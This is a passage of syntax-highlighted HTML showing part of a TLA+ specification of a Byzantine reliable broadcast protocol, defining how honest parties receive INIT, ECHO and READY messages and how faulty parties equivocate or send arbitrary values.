&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;149&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;broadcaster&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;150&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;sent_init&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;broadcaster&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="err"&gt;≠&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;151&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;rcvd_init_v&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; = [rcvd_init_v EXCEPT ![p] = sent_init[broadcaster]]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;152&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;UNCHANGED&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;broadcaster&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_init&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;faulty_equivoc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_echo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;153&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;rcvd_echo_cnt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rcvd_ready_cnt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;154&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;155&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Receive&lt;/span&gt; &lt;span class="n"&gt;INIT&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;faulty&lt;/span&gt; &lt;span class="n"&gt;broadcaster&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uses&lt;/span&gt; &lt;span class="n"&gt;equivocation&lt;/span&gt; &lt;span class="n"&gt;partition&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;156&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ReceiveInitFromFaulty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;157&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;158&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;rcvd_init_v&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;159&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;broadcaster&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Faulty&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;160&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="err"&gt;∃&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;faulty_equivoc&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;161&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;LET&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;CHOOSE&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;faulty_equivoc&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;162&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;IN&lt;/span&gt; &lt;span class="n"&gt;rcvd_init_v&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; = [rcvd_init_v EXCEPT ![p] = v]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;163&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;UNCHANGED&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;broadcaster&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_init&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;faulty_equivoc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_echo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;164&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;rcvd_echo_cnt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rcvd_ready_cnt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;165&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;166&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Receive&lt;/span&gt; &lt;span class="n"&gt;one&lt;/span&gt; &lt;span class="n"&gt;more&lt;/span&gt; &lt;span class="n"&gt;ECHO&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;based&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;167&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ReceiveEcho&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;168&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;169&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="err"&gt;∃&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;170&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;rcvd_echo_cnt&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;SentEchoCount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;171&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;rcvd_echo_cnt&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; = [rcvd_echo_cnt EXCEPT ![p][v] = @ + 1]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;172&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;UNCHANGED&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;broadcaster&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_init&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;faulty_equivoc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_echo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;173&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;rcvd_init_v&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rcvd_ready_cnt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;174&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;175&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Receive&lt;/span&gt; &lt;span class="n"&gt;one&lt;/span&gt; &lt;span class="n"&gt;more&lt;/span&gt; &lt;span class="n"&gt;READY&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;based&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;176&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ReceiveReady&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;177&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;178&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="err"&gt;∃&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;179&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;rcvd_ready_cnt&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;SentReadyCount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;180&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;rcvd_ready_cnt&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; = [rcvd_ready_cnt EXCEPT ![p][v] = @ + 1]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;181&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;UNCHANGED&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;broadcaster&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_init&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;faulty_equivoc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_echo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;182&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;rcvd_init_v&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rcvd_echo_cnt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;183&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;184&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Receive&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;185&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∨&lt;/span&gt; &lt;span class="n"&gt;ReceiveInitFromHonest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;186&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∨&lt;/span&gt; &lt;span class="n"&gt;ReceiveInitFromFaulty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;187&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∨&lt;/span&gt; &lt;span class="n"&gt;ReceiveEcho&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;188&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∨&lt;/span&gt; &lt;span class="n"&gt;ReceiveReady&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;189&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;190&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;191&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Faulty&lt;/span&gt; &lt;span class="n"&gt;Party&lt;/span&gt; &lt;span class="n"&gt;Actions&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;192&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;193&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;194&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Faulty&lt;/span&gt; &lt;span class="n"&gt;broadcaster&lt;/span&gt; &lt;span class="n"&gt;assigns&lt;/span&gt; &lt;span class="n"&gt;honest&lt;/span&gt; &lt;span class="n"&gt;parties&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="n"&gt;partitions&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;equivocation&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;195&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;FaultyEquivocate&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;196&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;broadcaster&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Faulty&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;197&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;faulty_equivoc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="err"&gt;↦&lt;/span&gt; &lt;span class="p"&gt;{}]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;198&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="err"&gt;∃&lt;/span&gt; &lt;span class="n"&gt;partition&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;199&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;faulty_equivoc&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; = [v ∈ V ↦ {h ∈ Honest : partition[h] = v}]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;200&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;UNCHANGED&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;broadcaster&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_init&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_echo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;201&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;rcvd_init_v&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rcvd_echo_cnt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rcvd_ready_cnt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;202&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;203&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Faulty&lt;/span&gt; &lt;span class="n"&gt;party&lt;/span&gt; &lt;span class="n"&gt;sends&lt;/span&gt; &lt;span class="n"&gt;ECHO&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;arbitrary&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;204&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;FaultySendEcho&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;205&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∃&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Faulty&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;206&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;sent_echo&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;207&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;sent_echo&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; = [sent_echo EXCEPT ![f] = v]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;208&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;UNCHANGED&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;broadcaster&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_init&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;faulty_equivoc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;209&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;rcvd_init_v&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rcvd_echo_cnt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rcvd_ready_cnt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;210&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;211&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Faulty&lt;/span&gt; &lt;span class="n"&gt;party&lt;/span&gt; &lt;span class="n"&gt;sends&lt;/span&gt; &lt;span class="n"&gt;READY&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;arbitrary&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;
